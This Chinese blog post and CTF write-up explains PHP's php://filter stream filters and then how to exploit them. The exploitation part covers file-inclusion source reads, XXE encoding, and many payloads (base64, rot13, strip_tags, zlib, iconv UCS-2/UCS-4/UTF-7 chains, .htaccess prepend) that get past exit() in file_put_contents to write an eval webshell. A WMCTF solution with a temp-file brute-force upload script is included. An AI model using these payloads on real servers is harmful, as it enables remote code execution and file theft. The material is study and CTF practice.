php://filter一些奇技淫巧

原理

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称描述
resource=<要过滤的数据流>这个参数是必须的。指定了要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或者多个过滤器名称,以管道符( \)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或者多个过滤器名称,以管道符( \)分隔。
<; 两个链的筛选列表>任何没有以read=或者write=作前缀的筛选器列表会视情况应用于读或写链。

使用方法

example

<?php
echo file_get_contents($_GET['file']);
# file=php://filter/resource=index.php  明文读文件
# file=php://filter/read=convert.base64-encode/resource=index.php 编码读文件
file_put_contents($_GET['filename'],$_GET['txt']);
# filename=php://filter/resource=test.txt&txt=Qftm 明文写文件
# filename=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm 编码写文件
?>

过滤器

String Filters

字符串过滤器:每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。

string.rot13

(自 PHP 4.3.0 起)使用此过滤器等同于用str_rot13()函数处理所有的流数据。

string.rot13对字符串执行ROT13转换,ROT13编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。

  • Example #1 string.rot13
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs:  Guvf vf n grfg.   */
?>

string.toupper

(自 PHP 5.0.0 起)使用此过滤器等同于用strtoupper()函数处理所有的流数据。

string.toupper将字符串转化为大写

  • Example #2 string.toupper
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs:  THIS IS A TEST.   */
?>

string.tolower

(自 PHP 5.0.0 起)使用此过滤器等同于用strtolower()函数处理所有的流数据。

string.toupper将字符串转化为小写

  • Example #3 string.tolower
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs:  this is a test.   */
?>

string.strip_tags

(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已弃用此功能。)

使用此过滤器等同于用strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和strip_tags()函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。

string.strip_tags从字符串中去除HTMLPHP标记,尝试返回给定的字符串str去除空字符、HTMLPHP标记后的结果。它使用与函数fgetss() 一样的机制去除标记。

Note:HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。
  • Example #4 string.strip_tags
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */
?>

Conversion Filters

转换过滤器:如同string.*过滤器,convert.*过滤器的作用就和其名字一样,转换过滤器是PHP 5.0.0添加的。

convert.base64

convert.base64-encodeconvert.base64-decode使用这两个过滤器等同于分别用base64_encode()base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-lengthbase64输出将被用line-length个字符为长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上chunk_split()相同。

  • Example #1 convert.base64-encode & convert.base64-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBpcyBhIHRlc3QuCg==  */

$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs:  VGhpcyBp
          :  cyBhIHRl
          :  c3QuCg==  */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs:  This is a test.  */
?>

convert.quoted

convert.quoted-printable-encodeconvert.quoted-printable-decode使用此过滤器的decode版本等同于用quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数binaryforce-encode-firstconvert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。

  • Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

convert.iconv.*

这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

Note:该过滤在PHP中文手册里面没有标注,可查看英文手册
https://www.php.net/manual/en/filters.convert.php

convery.iconv.*的使用有两种方法

convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>
  • iconv()

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

iconv — 字符串按要求的字符编码来转换

Note:iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串strin_charset转换编码到out_charset

参数:
in_charset  输入的字符集。
out_charset  输出的字符集。如果你在out_charset后添加了字符串//TRANSLIT,将启用转写(transliteration)功能。这个意思是,当一个字符不能被目标字符集所表示时,它可以通过一个或多个形似的字符来近似表达。如果你添加了字符串//IGNORE,不能以目标字符集表达的字符将被默默丢弃。 否则,会导致一个E_NOTICE并返回FALSE。
str  要转换的字符串。
返回值:
返回转换后的字符串,或者在失败时返回FALSE。

img

Example #1 iconv()

<?php
$text = "This is the Euro symbol '€'.";
echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE   : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain    : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;
/* Outputs:
Original : This is the Euro symbol '€'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE   : This is the Euro symbol ''.
Plain    :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7
*/
?>
  • Example #2 convert.iconv.*
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Outputs: This is a test. */
?>

支持的字符编码有一下几种(详细参考官方手册

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
、、、、、、、
、、、、、、、
Note:
* 表示该编码也可以在正则表达式中使用。
** 表示该编码自 PHP 5.4.0 始可用。

Compression Filters

虽然压缩封装协议提供了在本地文件系统中创建gzipbz2兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。

Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

zlib. *压缩过滤器自PHP版本5.1.0起可用,在激活zlib的前提下。也可以通过安装来自» PECL» zlib_filter包作为一个后门在5.0.x版中使用。此过滤器在 PHP4中不可用。

bzip2. *压缩过滤器自PHP版本5.1.0起可用,在激活bz2支持的前提下。也可以通过安装来自» PECL» bz2_filter包作为一个后门在5.0.x版中使用。此过滤器在PHP4中不可用。

详细细节参考官方文档

Encryption Filters

mcrypt.*mdecrypt.*使用libmcrypt提供了对称的加密和解密。这两组过滤器都支持mcrypt 扩展库中相同的算法,格式为mcrypt.ciphername,其中ciphername是密码的名字,将被传递给mcrypt_module_open()。有以下五个过滤器参数可用:(详细细节参考官方文档)

参数是否必须默认值取值举例
mode可选cbccbc,cfb,ecb,nofb,ofb,stream
algorithms_dir可选ini_get('mcrypt.algorithms_dir')algorithms模块的目录
modes_dir可选ini_get('mcrypt.modes_dir')modes模块的目录
iv必须N/A典型为8,16或32字节的二进制数据,据密码而定。
key必须N/A典型为8,16或32字节的二进制数据,据密码而定。

利用方式

文件包含

在文件包含漏洞当中,因为php://filter可以对所有文件进行编码处理,所以常常可以使用php://filter来包含读取一些特殊敏感的文件(配置文件、脚本文件等)以辅助后面的漏洞挖掘。

利用姿势

<?php
    $file  = $_GET['file'];
    include($file);
?>
# php://filter/read=convert.base64-encode/resource=index.php
# php://filter/convert.base64-encode/resource=index.php

XXE Encode

XXE漏洞

XXE漏洞也就是XML外部实体注入漏洞,关于该漏洞造成的主要原因是libxml库【libxml2.9以前的版本默认支持并开启了外部实体的引用】,对于防范XXE漏洞也很简单:升级libxml版本、使用脚本语言自带的禁用xml外部实体解析。

XXE回显问题绕过

在P牛文章里面有提到使用php://filter绕过XXE回显问题,详细细节和操作如下:

大家都知道XXE漏洞和XML有关系,当存在XXE漏洞的时候,如果我们使用相关协议读取特殊文件(HTMLPHP等)就可能会报错parser error : StartTag: invalid element name,为什么会这样呢,主要是因为XML的文件格式(XML文件声明和HTML以及php文件一样都是基于标签的,正是因为这样在读取这些特殊文件的时候就会解析错误)。

针对这种情况就可以使用php://filter协议来进行文件内容编码读取,避免和xml文件解析产生冲突。

利用姿势

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>

Bypass file_put_content+Exit

第一次碰见这个还是在WMCTF,还是见得太少了,菜了菜了......

首先来说,file_put_content大概有三种情形出现;

file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

首先第一种情况

<?php
highlight_file(__FILE__);
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

直观的看到,我们的文件名和文件内容都是可控的,这种的相对来说简单的多,我们直接控制文件名,和文件内容即可,下面分享几种方式;

1、base64编码绕过

原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

$filename = 'php://filter/convert.base64-decode/resource=shell.php';
$content = 'aPD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+';
# <?php eval($_REQUEST['shell']);?>

这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;载荷效果如下:

2、rot13 编码绕过

原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;

这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;

$filename = 'php://filter/string.rot13/resource=shell.php';
$content = "<?cuc riny($_ERDHRFG['furyy']);?>";
# <?php eval($_REQUEST['shell']);?>

3、.htaccess的预包含利用

利用.htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。

这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php、flag、/flag、/flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;

$filename = 'php://filter/write=string.strip_tags/resource=.htaccess';
$content = '?>php_value auto_prepend_file flag';

传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:

4、过滤器编码组合拳

由于过滤器支持多种公用,所以可以通过过滤器嵌套进行过滤,从而写入目标代码。

第一种:利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,写入shell。(这种方法有一定的局限性也还是因为string.strip_tagsphp7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响)

$filename = 'php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$content = '?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+';
# <?php eval($_REQUEST['shell']);?>

第二种:适用php7,三种过滤器嵌套,先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell。

$filename = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php';
$content = "php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?phP EVAL($_POST['shell']);?>/resource=shell.php";

原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础。

在写shell的时候发生了各种问题,主要都是解析问题,甚至于短标签都会使EVAL变成EVCL,最终发现上述payload可执行。

其次第二种情况

<?php
highlight_file(__FILE__);
$content = $_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

这段类似的代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。面对这种情况,就和WMCTF的题基本一样了;和上面的大类方法类似,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit(); 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload

这里题目环境如果在php7下,WMCTFwp上已经写的很清楚了,有多种方法可以绕过去,详细题解放在文章最后。

1、.htaccess的预包含利用

?content=php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag%0a%23/resource=.htaccess

2、base64编码绕过

?content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+/../shell.php
?content=php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+/../shell.php

其中为什么要用string.strip.tags过滤掉HTML代码,这是因为发现直接base64解码虽然能生成文件,但是无法写入目标代码,最终发现是因为在整体进行base64解码时,=直接拼接了shell语句导致解码失败。

payload中的../是利用了Linux的机制,前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名。

两条payload差距仅在一个<?,两者的差距都是为了让真正的base64编码的数据逃脱=

3、rot13编码绕过

因为base64受限制于=,所以这里可以使用rot13编码。

?content=php://filter/write=string.rot13|<?cuc riny($_ERDHRFG['furyy']);?>|/resource=shell.php

4、convert.iconv.*编码绕过

这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而我们可以留意到iconv — 字符串按要求的字符编码来转换;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 strin_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell

那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;

1、usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_REQUEST[shell]);?>');
?<hp pe@av(l_$ERUQSE[Thsle]l;)>?
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$ERUQSE[Thsle]l;)>?/resource=shell.php

2、usc-4

这是4位一反转,所以整个代码应该是4的倍数。

php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_REQUEST[shell]);?>');
hp?<e@ p(lavER_$SEUQhs[T]lle>?;)
?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavER_$SEUQhs[T]lle>?;)/resource=shell.php

3、utf-8与utf-7之间的转化

经测试单纯的UTF-8UTF-7是无效的,解码生成的文件中会将<>转码,导致无法执行。

但是带佬们发现用base64编码后的数据进行转码,数据不变,且=UTF7后为+AD0-这样就能解决=base64编码造成的影响。

php > echo iconv("UTF-8","UTF-7",'PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+');
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+-
?content=php://filter/write=PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+-|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

最后第三种情况

<?php
highlight_file(__FILE__);
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename,$content . "\nxxxxxx");
?>

这种相对还要更简单一些,只需要将后面的杂糅代码注释掉或者分解掉,不让我们的攻击代码受影响即可。

这种情形一般考点都是禁止有特殊起始符和结束符号的语言,举个例子,如果题目没有banphp,那么我们可以轻而易举的写入php代码,因为php代码有特殊的起始符和结束符,所以后面的杂糅代码,并不会对其产生什么影响。

所以这类问题的考点,往往在于我们没有办法去写入这类的有特殊起始符和结束符号的语言,往往是需要想办法处理掉杂糅代码的;

常见的考点是利用.htaccess进行操作;都知道,.htaccess文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;这里对于换行符我们直接进行\注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果。

关于.htacess的利用先欠下,回头补齐,毕竟这大哥非常有用。

WMCTF checkin2

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
        die('hacker');
    if(file_exists($content))
        require_once($content);
    echo $content;
    file_put_contents($content,'<?php exit();'.$content);
}

可以看到核心就是bypass exit()死亡代码。同时又过滤了很多的过滤器。以下是官方给出的几种解法:

1、二次编码绕过

file_put_contents中可以调⽤伪协议,⽽伪协议处理时会对过滤器urldecode⼀次,所 以是可以利⽤⼆次编码绕过的,不过我们在服务端ban了%(⽤%太简单了)所以测试% 被ban后就可以写个脚本跑⼀下字符,构造⼀些过滤的字符就可以利⽤正常的姿势绕 过。知道可以⽤⼆次编码绕过了,可以简单构造⼀下参⻅的payload即可,可参考出题人之前写的⽂章中的⼀些简单的payload )

<?php
$char = 'r'; # 构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
        $a = '%'.$ascii1.'%'.$ascii2;
        if(urldecode(urldecode($a)) == $char){
            echo $char.': '.$a;
            echo "\n";
        }
    }
}
?>
/************************************************************************************************* 
php://filter/write=string.%72ot13|cuc riny($_ERDHRFG['furyy']);|/resource=shell.php
<?cuc rkvg();cuc://svygre/jevgr=fgevat.rbg13|<?php eval($_REQUEST['shell']);?>|/erfbhepr=furyy.cuc
*************************************************************************************************/

payload放过滤器的位置或者放⽂件名位置都可(因为有些编码有时候会有空格什 么的乱码,⽂件名不⼀定好⽤),php://filter⾯对不可⽤的规则是报个Warning,然后 跳过继续执⾏的)。

2、过滤器绕过

题目虽过滤了许多过滤器,但还保留了zlib、bzip2、string等过滤器。然后就利用上面提到的压缩转小写解压缩的办法。 这里也可以通过构造单个zlib.inflate解压字符,通过zlib.deflate压缩来构造shell,这⾥就不多说了。

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET['shell']);?>/resource=shell.php

3、爆破临时文件

环境特地设置了php 7.0.33版本,由于file_put_contents也可以利⽤伪协议,所以⽼问题,利⽤string.strip_tags会发⽣段错误,这时候上传⼀个shell会以临时⽂件的形式保存在/tmp中,利⽤require_once包含getshell即可(⽤⼀次就会被覆盖,所以直接反弹shell或者写⻢就⾏)。因为爆破的基数太⼤了,所以这个是⼀个最不好的解作为备选 解,简单放下⽣成临时⽂件的脚本。

#!/usr/bin/env python-3.8
# -*- coding: utf-8 -*-
# @Project: Hello Python!
# @File   : 13-临时文件爆破
# @Author : Tr0jAn <webfker@oulook.com>
# @Date   : 2020-09-05

import requests
import string
from urllib3.connectionpool import xrange

charset = string.digits + string.ascii_letters
host = ""  # url
port = 80
base_url = "http://{}:{}".format(host.port)


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        requests.post(url, files=files)
    except Exception as e:
        print(e)


def generate_tmp_files():
    file_content = '<?php system("xxxxxxxx");?>'
    phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Tr0jAn.php" % base_url
    print(phpinfo_url)
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print("[+] %d / %d" % (i, times))
        upload_file_to_include(phpinfo_url, file_content)


if __name__ == "__main__":
    generate_tmp_files()

总结

在上述基础上可以无限制的打组合拳,直到能够打死老师为止。

最后修改:2020 年 09 月 26 日 11 : 11 PM
请作者喝杯奶茶吧~